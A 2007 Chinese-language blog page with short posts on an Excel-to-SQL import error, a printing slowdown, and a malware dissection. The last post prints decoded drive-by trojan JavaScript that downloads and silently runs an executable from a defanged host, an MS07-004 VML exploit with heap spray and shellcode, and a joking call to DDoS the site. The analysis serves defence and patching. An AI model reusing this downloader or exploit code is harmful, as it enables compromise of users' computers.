Friday, June 01, 2007 - Posts

Importing Excel To SQL: The value violated the integrity constraints

今天匯入一個Excel 工作表到SQL 2005時,為了省空間,我沒依它建議,將每個欄位都設成nchar(255),而是一一決定用nvarchar, varchar或char,指定適當的長度,有些非NULL的欄位也一併加上不允許NULL的限制以求嚴謹。

開始匯入後,我收到以下的錯誤訊息:

Messages
Error 0xc0202009: Data Flow Task: An OLE DB error has occurred. Error code: 0x80004005.
An OLE DB record is available. Source: "Microsoft SQL Native Client" Hresult: 0x80004005 Description: "Unspecified error".
(SQL Server Import and Export Wizard)
Error 0xc020901c: Data Flow Task: There was an error with input column "Company" (52) on input "Destination Input" (42). The column status returned was: "The value violated the integrity constraints for the column.".
(SQL Server Import and Export Wizard)
Error 0xc0209029: Data Flow Task: The "input "Destination Input" (42)" failed because error code 0xC020907D occurred, and the error row disposition on "input "Destination Input" (42)" specifies failure on error. An error occurred on the specified object of the specified component.
(SQL Server Import and Export Wizard)
Error 0xc0047022: Data Flow Task: The ProcessInput method on component "Destination - Constituents$" (29) failed with error code 0xC0209029. The identified component returned an error from the ProcessInput method. The error is specific to the component, but the error is fatal and will cause the Data Flow task to stop running.
(SQL Server Import and Export Wizard)
Error 0xc0047021: Data Flow Task: Thread "WorkThread0" has exited with error code 0xC0209029.
(SQL Server Import and Export Wizard)

不符合Column Integrity? 我第一個想到是,我沒有設任何Primary Key,應該沒有重覆的問題才對! 挖了一陣子才發現,原來是SQL 2005在匯入時,錯誤地將工作表中最後一列全空的儲存格當成有值,所以INSERT了一筆所有欄位都是NULL的資料,而這違背我所設的NOT NULL限制。

最後我採行的解決方法,不是去研究為什麼Excel中的空格會被當成有值,而是先取消NOT NULL的限制,待資料匯入後,再用DELETE FROM myTable WHERE Col1 IS NULL將有問題的資料刪除,沒什麼研究精神,但很符合這個趕得要命專案的需求。

KB-列印時資料傳輸量爆增,導致印表緩慢

我遇過幾次的情境,今天又遇到了。

某台Windows機器,使用某隻程式列印時,速度極為緩慢,但仍能正常輸出。檢視印表機狀況,發現傳送的資料量高達數百MB,同樣的程式在其他機器列印相同的東西,資料量不到10MB。

但在同一台機器上,使用其他的軟體(例如: Word、Excel)列印,卻又完全正常。

經驗中,此類問題多與印表機驅動程式或設定問題有關,而且只發生在特定的程式上,建議更新印表機驅動程式試看看。

有趣的木馬解剖

同事回報發生了疑似中毒事件,查看的結果,發現中毒的機器用IE讀取網頁時(包含http://www.google.com.tw)在HTML Source的最前端會被插入一列:
<script src="httq://www_blogo_tw/lan.js"></script> (註: 為防止有害URL被誤觸,我做了一些變造處理)

由這個現象,可確定是中了惡意軟體無誤,網管同事最後用AdWare SE反間諜軟體將它掃除。但我好奇它的設計原理,情不自禁又鑽了進去...

首先,lan.js長這副德行:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return
... 省略 ...
d14=9://8.a.b/l.Y></c>")}N(e){2.7("<P M=\\"L\\" J=9://8.a.b/K.Q></R"+"W>");2.7("<f U=\\"S: T(\'9://8.a.b/l.Z?V=1\')\\"></f>")}}',62,70,'||document|expires|var|...由很多英文單字以直線分隔,部分省略... |asp|XMLHTTP|9E36|04FC2|00C|src|CreateObject|height|width'.split('|'),0,{}))

看起來,它將真正的程式碼中的所有英文單字先換成數字及英文字母(例如紅字部分),而對照表就是綠色的直線分隔單字清單,我猜split開來,2代表document,3代表expires,4則是var,以此類推。本想自己寫Code解碼,後來心想,這段Code本身就內建解碼器,才能還原回程式碼交給eval執行,因此我只加了幾個字,就讓原始程式現身了:

window.status=""
var cookieString=document.cookie; var start=cookieString.indexOf("tiantang=");
if(start!=-1){}else{
    var expires=new Date();expires.setTime(expires.getTime()+1*1*60*60*1000);
    document.cookie="tiantang=funny;expires="+expires.toGMTString();
    try{
        var downf=document.createElement("object");
        downf.setAttribute("classid","clsid:BD9"+"6C556-6"+"5A3-11D"+"0-983A-00C"+"04FC2"+"9E36");
        str="Microsoft.XMLHTTP"
        var O=downf.CreateObject(str,"");
        document.write("<iframe width=0 height=0 src=httq://www_blogo_tw/lan.htm></iframe>")
    }catch(e){
        document.write("<script language=\"javascript\"  Src=httq://www_blogo_tw/lan7.js></sc"+"ript>");
        document.write("<DIV style=\"CURSOR: url('httq://www_blogo_tw/lan.asp?id=1')\"></DIV>")
    }
}

原來這個木馬的原理是這樣的,首先會檢查一個Cookie(tiantang),看看有沒有被感染過,沒有感染過的人會建立一顆RDS.DataSpace物件({CLSID:BD96C556-65A3-11D0-983A-00C04FC29E36},它還故意將GUID拆成多個字串碎片逃避檢查),試圖透過MS06-014安全漏洞植入木馬(這是目前火紅的木馬植入技術呢! 例如: 這裡這裡),除此之外,它還會插入一個Iframe,理面類似lan.js,用eval執行解碼過的程式碼如下,看來就是將木馬植入使用者電腦的核心程式。

function gn(n){
    var number=Math.random()*n;return Math.round(number)+'.exe' //亂數檔名,搞鬼時的基本技巧
}
try{
aaa="obj";bbb="ect";ccc="Adodb.";ddd="Stream";eee="Microsoft.";
fff="XMLHTTP";lj='httq://www_blogo_tw/tt11.exe';
var df=document.createElement(aaa+bbb);
df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var x=df.CreateObject(eee+fff,"");var S=df.CreateObject(ccc+ddd,"");S.type=1;x.open("GET",lj,0);x.send();mz1=gn(1000);var F=df.CreateObject("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder(0);var t2;t2=F.BuildPath(tmp,"rising"+mz1); //產生rising+亂數.exe的檔名
mz1=F.BuildPath(tmp,mz1);S.Open();S.Write(x.responseBody);S.SaveToFile(mz1,2);//將tt11.exe更名後存入
S.Close();F.MoveFile(mz1,t2);var Q=df.CreateObject("Shell.Application","");exp1=F.BuildPath(tmp+'\\system32','cmd.exe');Q.ShellExecute(exp1,' /c '+t2,"","open",0) //啟動邪惡的程式
}catch(i){i=1}

如果以上的手法失敗(表示使用者做過Windows Update了),則會端上另一道大菜,首先載入lan7.js,並把游標換成一個特定的檔案,應該是想透過微軟前陣子被發現的游標漏洞入侵使用者的電腦,至於lan7.js,則包含了以下的內容:

function doit()
{  window.location.href="about:blank" }
var cookieString = document.cookie;
var start = cookieString.indexOf("tiantang1=");
if (start != -1)
{}
else
{
var expires = new Date();
expires.setTime(expires.getTime() + 1 * 24 * 60 * 60 * 1000);
document.cookie = "tiantang1=Ms07-004;expires=" + expires.toGMTString();
document.write(unescape("%3C%68%74%6D%6C%20%78%6D%6C%6E%73%3A%76%3D%22%75%72%6E%3A%73%63%68%65%6D%61%73%2D%6D%69%63%72%6F%73%6F%66%74%2D%63%6F%6D%3A%22%72%67%62%28%31%2C%30%2C%36%36%29%22%20%62%61%63%6B%63%6F%6C%6F%72%3D%
...落落長,省略...
22%33%30%38%34%22%20%2F%3E%0D%0A%3C%76%2F%72%65%63%6F%6C%6F%72%69%6E%66%6F%3E%0D%0A%3C%2F%62%6F%64%79%3E%0D%0A%3C%2F%68%74%6D%6C%3E"));
window.setTimeout("doit()",5000);}

沒中過毒的人,會寫入Cookie(代表要進攻MS07-004漏洞? 這個Cookie真是大幅提高了程式碼的可讀性呀! 算是盜亦有道了),先document.write出一段內容,接著在五秒後轉接空白頁毁屍滅跡。再解開這個document.write,發現果然是要鑽MS07-004的向量標記語言漏洞... 其內容如下:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:*{behavior:url(#VMLRender);}
</style>
<script>
sh=unescape("%u9090"+"%u9090"+
"%u9090%u6090%u17eb%u645e%u30a1%u0000%u0500%u0800%u0000%uf88b%u00b9"+
"%u0004%uf300%uffa4%ue8e0%uffe4%uffff%ua164%u0030%u0000%u408b%u8b0c"+
... 又是落落長的資料碼,但這次是可執行的二進位碼,要利用漏洞執行...
%u0000%u006a%u10ff%u0689%u4489%u1824%uecb9%u020f%uff00%u5f01%u5a5e"+
"%u5b59%ue4b8%u020f%uff00%ue820%ufdda%uffff"+
"%u7468%u7074%u2F3A%u772F%u7777%u622E"+
"%u6F6C%u6F67%u742E%u2F77%u7474%u3131%u652E%u6578");
sz=sh.length*2;
npsz=0x1000000-(sz+0x38);
nps=unescape("%u0c0c%u0c0c");
while(nps.length*2<npsz)nps+=nps;
ihbc=(0x09000000-0x1000000)/0x1000000;
mm=new Array();
for(i=0;i<ihbc;i++)
{
mm[i]=nps+sh;
}
</script>
</head>
<BODY onload=window.status="">
<v:rect style="width:0pt;height:0pt" fillcolor="white" >
<v:recolorinfo recolorstate="t" numcolors="97612895">
<v:recolorinfoentry forecolor="rgb(1,0,66)" tocolor="rgb(1,0,66)"
recolortype="3084" lbcolor="rgb(1,0,66)" backcolor="rgb(1,0,66)"
fromcolor="rgb(1,0,66)" lbstyle ="3084" bitmaptype="3084" />
<v:recolorinfoentry forecolor="rgb(1,0,66)" tocolor="rgb(1,0,66)"
recolortype="3084" lbcolor="rgb(1,0,66)" backcolor="rgb(1,0,66)"
fromcolor="rgb(1,0,66)" lbstyle ="3084" bitmaptype="3084" />
<v:recolorinfoentry forecolor="rgb(1,0,66)" tocolor="rgb(1,0,66)"
recolortype="3084" lbcolor="rgb(1,0,66)" backcolor="rgb(1,0,66)"
fromcolor="rgb(1,0,66)" lbstyle ="3084" bitmaptype="3084" />
<v/recolorinfo>
</body>
</html>

由這番解析,算是揭開了這隻木馬進攻的手法,全都靠Windows的漏洞,包含了動態游標漏洞、VML漏洞及RDS.DataSpace漏洞,而且還具備了多管齊下的能力。這些漏洞可怕之處在於只要開個網頁就會中標,即便沒有白目地亂開EXE、VBS、PIF,一樣會遭秧。切記,Windows Update一定要保持在最新的狀態,方為明哲保身之道!

PS: 看來www. _blogo. _tw是個大毒窰,MIS人員乾脆在DNS上把它禁掉算了。再不然,號召一些正義之士,一起對它發動DDOS攻擊也不錯,可以名正言順地攻擊網站,應該是件很爽的事吧!! (由此可以想見我是多麼想當駭客,哈!)

Search

Go

<June 2007>
SunMonTueWedThuFriSat
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567
 
RSS
【工商服務】


BlogLook Score and Rank

Syndication